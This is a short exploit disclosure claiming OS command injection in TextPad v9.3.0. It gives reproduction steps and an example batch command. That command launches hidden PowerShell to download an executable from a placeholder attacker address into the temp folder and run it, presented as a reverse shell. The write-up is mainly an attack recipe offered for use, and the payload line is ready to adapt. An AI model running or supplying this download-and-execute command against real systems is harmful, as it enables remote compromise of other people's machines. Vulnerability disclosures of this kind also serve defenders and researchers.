Exploit Title: TextPad v9.3.0 - OS Command Injection

Discovered by: Ahmet Ümit BAYRAM

Discovered Date: 17.09.2023

Vendor Homepage: https://www.textpad.com

Software Link: https://www.textpad.com/file?path=v9/setupv9.exe

Tested Version: v9.3.0 (latest)

Tested on: Windows 2019 Server 64bit

Steps to Reproduce

1. Open TextPad.
2. Create a .bat file containing your reverse shell command.
3. In TextPad, go to the File menu and click on Open….
4. Select the .bat file you created.
5. Click on the globe icon (view in web browser).
6. Your reverse shell should now be active, connecting back to your listener.

Example of Reverse Shell Command in .bat

To set up a reverse shell in a .bat file, you can use the following command:

```batch @echo off powershell -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-WebRequest -Uri http://attacker_ip:port -OutFile %TEMP%\shell.exe; Start-Process %TEMP%\shell.exe”